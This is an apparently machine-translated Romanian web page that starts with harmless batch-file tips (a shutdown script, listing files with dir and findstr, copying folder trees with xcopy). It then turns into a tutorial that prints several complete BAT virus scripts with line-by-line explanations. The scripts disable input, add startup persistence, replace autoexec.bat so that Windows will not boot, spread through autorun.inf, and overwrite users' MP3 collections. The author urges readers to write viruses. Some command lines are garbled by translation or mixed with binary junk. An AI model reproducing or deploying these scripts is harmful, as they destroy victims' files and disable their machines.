Programul CCleaner se lansează mai întâi și șterge toate fișierele temporare de pe computer. Apoi programul de oprire a computerului începe cu o întârziere de 15 secunde pentru a evita posibilele conflicte cu CCleaner.
Este necesar să copiați acest exemplu în el. Plasați o comandă rapidă la fișierul bat pe desktop, atribuiți-i o pictogramă frumoasă și opriți computerul folosind acest buton de comandă rapidă.
Obțineți o listă de fișiere dintr-un folder folosind un fișier Bat
Folosesc periodic fișiere bat pentru a obține liste de fișiere din foldere. O situație comună: la serviciu, clienții trimit o arhivă de fotografii de la fotograf. Fotografiile sunt denumite conform articolelor produsului.
- Nu există informații text care însoțesc fotografiile. Trebuie să faceți o listă pe baza fotografiilor trimise și să o importați în catalogul de produse de pe site. Pentru fiecare produs au fost făcute mai multe fotografii. Ele sunt numite astfel:
- Poza produsului cu numărul articolului A1234 (2).jpg
Poza produsului cu articolul B1234 (2).jpg
Mai întâi primesc o listă cu toate fișierele dintr-un folder folosind următoarea comandă:dir *.jpg /B /L > filelist.txt Comanda *.jpg vă va permite să luați în considerare numai fișierele JPG la compilarea listei. Comutatorul /B vă va permite să obțineți o listă care conține numai numele fișierelor aflate în folder. Comutatorul /L va afișa toate numele în. Comanda >filelist.txt va crea un fișier text numit filelist și va scrie rezultatul acolo.
Următorul pas este să scăpați de duplicatele, astfel încât să existe o singură intrare pentru fiecare produs din listă:
tastați filelist.txt | findstr /I /V "(2 )" > temp.txtComanda findstr va căuta fișierul preluat anterior. Comutatorul /I vă permite să căutați înregistrări fără a ține seama de majuscule și minuscule, iar comutatorul /V înregistrează linii care nu conțin potrivirea pe care o căutați. Ghilimelele indică șirul care trebuie potrivit. Și ultima comandă > temp.txt va scrie în fișierul temp toate rezultatele care nu conțin „(2)” în nume. Ca rezultat voi obține:
- Poza produsului cu numărul articolului A1234.jpg
- Poza produsului cu articolul B1234.jpg
Dacă trebuie să efectuați operația opusă - ieșirea se potrivește doar cu fișierul temp.txt, atunci nu îl veți găsi pe cel de care aveți nevoie în lista de comenzi (findstr /?). Există doar un filtru de potrivire exactă inversă - /X .
Pentru această sarcină, puteți utiliza comanda pentru a afișa numerele de linie /N în care există potriviri (numerele sunt afișate împreună cu linia):
tastați filelist.txt | findstr /I /N "(2 )" > temp.txtPrincipalul lucru atunci când lucrați cu informații text (fișiere text) amintiți-vă un punct:
Dacă pentru operațiuni text utilizați un fișier ca sursă care nu a fost creat prin linia de comandă, acesta trebuie să fie într-o codificare care să fie înțeleasă de linia de comandă. De exemplu, CP1251 (ANSI).
Altfel, riști să obții așa ceva:
Copiați arborele de directoare fără fișiere
Când încep să fac proiecte noi, este nevoie să obțin un arbore de directoare similar cu cel vechi al proiectului, cu diferența că nu ar trebui să existe fișiere în el. Pentru un proiect nou, este mai ușor să adăugați 3-5 fișiere în folderele goale necesare decât să copiați un proiect existent și apoi să ștergeți ceea ce nu este necesar de acolo.
Obţine arborele de directoare fără fișiere se poate face folosind următoarea comandă:
xcopy folder_1 folder_2 /T /EComanda xcopy ia ca bază arborele de directoare de la folder_1 și creează o copie a acestuia în folder_2. Comutatorul /T vă permite să copiați directoare fără a copia fișierele din ele. Tasta /E specifică că toate directoarele trebuie copiate, inclusiv. gol.
În mod optim, pentru a obține un arbore de directoare, trebuie să deschideți o linie de comandă în folderul părinte al directorului donator și în același folder să creați un director în care va fi plasat arborele copiat. În acest caz, comanda va trebui doar să specifice numele folderului donator și folderului de destinație (ca în exemplul de mai sus).
Bună din nou, tânăr codificator-shkoder. Dacă ai citit ultimul meu articol intitulat „Învățare DOS”, atunci nu va fi nimic complicat pentru tine aici. Și dacă nu ați citit-o, atunci uitați-vă cu atenție la comentarii. Deci să începem. Într-o zi stăteam și mă gândeam: nu ar trebui să fac un virus? Și din moment ce nu știam nimic în afară de QBarsik, iar DOS a fost al doilea meu... [Frate], ce crezi, pervers? :)~. Atunci am decis să scriu un virus pe el și s-a dovedit a nu fi atât de dificil.
Iată corpul primului meu virus
@echo dezactivat
tastatura rundll32, dezactivați
mouse-ul rundll32, dezactivați
copiați %0 %windir%/system
echo run=%windir%/system/*.bat >> win.ini
echo run=%windir%/system/*.bat >> system.ini
etichetă LOHOLAMMER
deltree /y c:\autoexec.bat > nul
echo autoexec.bat echo ESTI LAMMER...xe-xe-xe > c:\autoexec.bat
mouse-ul rundll32, activați
tastatură rundll32, activați
echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%\mes.js
echo WSHShell.Popup("Atenție,.. Computerul dvs. este infectat cu un virus și nu puteți scăpa de el, hehehehe"); >> %temp%\mes.js
porniți %temp%\mes.js
deltree /y %temp%\mes.js
pauză
cls
O voi explica popular și pas cu pas:
1 @echo off - Interzicem ferestrei DOS să arate ce face scriptul.
2 rundll32 keyboard,disable - Dezactivează tastatura, în cazul în care utilizatorul înțelege ce se întâmplă și decide să apese CTRL+C
3 rundll32 mouse,disable - Dezactivați și mouse-ul, pentru orice eventualitate.
4 copy %0 %windir%/system - Copiați în folderul Windows/system
// %0 - Variabilă care indică fișierul original cu virus
// %windir% - dosar variabil Masday.
5 echo run=%windir%/system/*.bat >> %windir%\win.ini - Adaugă textul „run=%windir%/system/*.bat” în fișierul win.ini
6 echo run=%windir%/system/*.bat >> %windir%\system.ini - Adaugă textul „run=%windir%/system/*.bat” în fișierul system.ini
7 label LOHOLAMMER - Schimbă numele unității c:\ în „LOHOLAMMER”
8 dacă există c:\autoexec.bat attrib c:\autoexec.bat -h -s -a -r - Verificați dacă există un fișier c:\autoexec.bat apoi eliminați-l
//are atribute -h -s -a -r
9 deltree /y c:\autoexec.bat - Ștergeți fișierul c:\autoexec.bat, dacă nu eliminați atributele, programul nu va șterge fișierul.
10 echo autoexec.bat echo TU ARE LAMMER...xe-xe-xe > c:\autoexec.bat - Adăugați text „TU ARE LAMMER...xe-xe-xe”
//la un nou fișier autoexec.bat
11 rundll32 mouse,enable - Porniți-l, lăsați-l să creadă că nu s-a întâmplat nimic.
12 rundll32 keyboard, enable - Porniți-o, lăsați-l să creadă că nu s-a întâmplat nimic.
13 echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%\mes.js
echo WSHShell.Popup("Atenție,.. Computerul dvs. este infectat cu un virus și nu puteți scăpa de el, hehehehe"); >> %temp%\mes.js
porniți %temp%\mes.js. //Acest text afișează o fereastră de mască cu inscripția
deltree /y %temp%\mes.js //Șterge apoi urmele de sine.
14 attrib c:\autoexec.bat +h +s +a +r - Face fișierul c:\autoexec.bat ascuns și fișierul de sistem, astfel încât lamerul să nu bănuiască nimic.
15 pauză - Vă rugăm să apăsați orice tastă (Nu este necesar să apăsați deoarece virusul și-a făcut deja treaba.)
16 cls - Hai sa iesim
Acest program, data viitoare când reporniți, nu va permite Windows să pornească și va scrie „Ești un lamer”. .Funcționează numai în Windows până la 2000.
@echo dezactivat
rundll32 user,setcursorpos //Elimină cursorul de pe ecran în colțul din stânga
tastatura rundll32, dezactivați //Anterior
mouse-ul rundll32, dezactivați //Anterior
utilizator rundll32,butonul mouse-ului. //Aici rearanjam butoanele mouse-ului
echo Se actualizează parametrii sistemului, vă rugăm să așteptați... // scrie o scuză :)
label mp_k //Modifică numele discului
copy mp_k.exe %windir% //Se copiează în folderul Windows
dacă există c:\autoexec.bat attrib c:\autoexec.bat -h -s -a -r
deltree /y c:\autoexec.bat
dacă există c:\io.sys echo autoexec.bat echo YOU_ARE_LAMMER....=[_H@CKED_BY_*_"SmallPox_Vir_Org"_] > c:\autoexec.bat
echo run = %windir%\mp_k.exe >> %windir%\win.ini
echo run = %windir%\mp_k.exe >> %windir%\system.ini
echo > c:\autorun.inf //Aceste operațiuni sunt în virusul anterior.
echo open=c:\autoexec.bat > c:\autorun.inf
echo > d:\autorun.inf
echo open=c:\autoexec.bat > d:\autorun.inf
mouse-ul rundll32, activați
tastatură rundll32, activați
echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%\mes.js
echo WSHShell.Popup ("Atenție, .. Acum trebuie să reporniți"); >> %temp%\mes.js
porniți %temp%\mes.js
deltree /y %temp%\mes.js
atrib c:\autoexec.bat +h +s +a +r
atrib %windir%\mp_k.exe +h +s +a +r
atrib c:\autorun.inf +h +s +a +r
atrib d:\autorun.inf +h +s +a +r
deltree /y mp_k.exe
rmdir %windir%\temp //Șterge folderul temp
mkdir %windir%\temp //Creează folderul temp
cls
Și acum, ceva nou.
@echo dezactivat
cls
echo Vă rugăm să așteptați, se actualizează sistemul...
ctty nul. //Aceasta este o comandă nouă, dezactivează textul în fereastră.
exist %WINDIR%\SYSTEM\VMM32\%0 goto:end //Dacă virul a fost deja lansat, atunci lăsați-l să se lanseze din nou.
copiați %0 %WINDIR%\SYSTEM\VMM32
cd c:\ //Mergeți la alt director
pentru %%a în (*.mp3 c:\*.mp3 c:\MUZ\*.mp3 c:\My Music\*.mp3 ..\*.mp3) copiați /y %0 %%a // Înlocuiți toate fișierele mp3 din acest folder cu textul dvs
CD Muzica mea
cd My_Music
//Înlocuiește toate fișierele mp3 din acest folder cu textul tău
cd MyMusic
pentru %%a în (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) copiați /y %0 %%a //Înlocuiți totul în acest folder fișiere mp3 cu propriul text
CD Muzică
pentru %%a în (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) copiați /y %0 %%a //Înlocuiți totul în acest folder fișiere mp3 cu propriul text
CD Muzică
pentru %%a în (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) copiați /y %0 %%a //Înlocuiți totul în acest folder fișiere mp3 cu propriul text
cd Mouzon
pentru %%a în (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) copiați /y %0 %%a //Înlocuiți totul în acest folder fișiere mp3 cu propriul text
CD MUZ
pentru %%a în (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) copiați /y %0 %%a //Înlocuiți totul în acest folder fișiere mp3 cu propriul text
cd mp3
pentru %%a în (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) copiați /y %0 %%a //Înlocuiți totul în acest folder fișiere mp3 cu propriul text
cd d:\
pentru %%a în (*.mp3 c:\*.mp3 c:\MUZ\*.mp3 c:\My Music\*.mp3 ..\*.mp3) copiați /y %0 %%a
CD Muzica mea
pentru %%a în (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) copiați /y %0 %%a //Același lucru aici.
cd My_Music
pentru %%a în (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) copiați /y %0 %%a
cd MyMusic
pentru %%a în (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) copiați /y %0 %%a
CD Muzică
pentru %%a în (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) copiați /y %0 %%a
CD Muzică
pentru %%a în (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) copiați /y %0 %%a
cd Mouzon
pentru %%a în (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) copiați /y %0 %%a
CD MUZ
pentru %%a în (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) copiați /y %0 %%a
cd mp3
pentru %%a în (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) copiați /y %0 %%a
:end //Etichetă
start /m /w %WINDIR%\SYSTEM\VMM32\%0 //Porniți în modul minimizat
ctty con //Activați permisiunea de a afișa text în fereastră
echo Spune la revedere colecție de MP3:)) Virus //Linii de adio
cls //Exit.
ctty nul //S-a întâmplat așa
REM Chey† Ђь@uoњPSQRVW
?
‹tЌ
„Q_ь№ у¦u=
є №є њъ.я?ђ l,ђ ///
copiați %0 *.exe ///
copy %0 b.com>nul // Această tehnologie este preluată de la alt virus.
b.com. // Aceste mâzgălile sunt interceptate de muncitori în în acest moment fișiere și le distruge.
del b.com. /// Acesta este textul ACM compilat în exe
rem_^ZY >
echo open=c:\autoexec.bat >> c:\autorun.inf //Si daca este acolo, infecteaza-l.
dacă există d:\io.sys //Verificarea disponibilității discului
ecou >
echo open=c:\autoexec.bat >> d:\autorun.inf //Si daca este acolo, infecteaza-l.
dacă există e:\io.sys //Verificarea disponibilității discului
ecou >
echo open=c:\autoexec.bat >> e:\autorun.inf //Si daca este acolo, infecteaza-l.
:end //Marcați începutul CM.
cls //Exit
Ce fel de viruși există? Iar scriitorii de viruși fac tot ce le stă în putință pentru a obține rezultatul dorit. După ce ai citit acest document, poți să scrii cu încredere un virus BAT, chiar mai bine decât al meu ; Ei bine, mult noroc să scrii viruși și mă voi abate și mă duc să beau bere%-).
Articolele sunt scrise exclusiv pentru a studia algoritmii virușilor și metodele de combatere a acestora. Algoritmii de funcționare ai virușilor au fost identificați prin decompilarea virușilor găsiți pe Internet și pe site-ul Kaspersky Lab.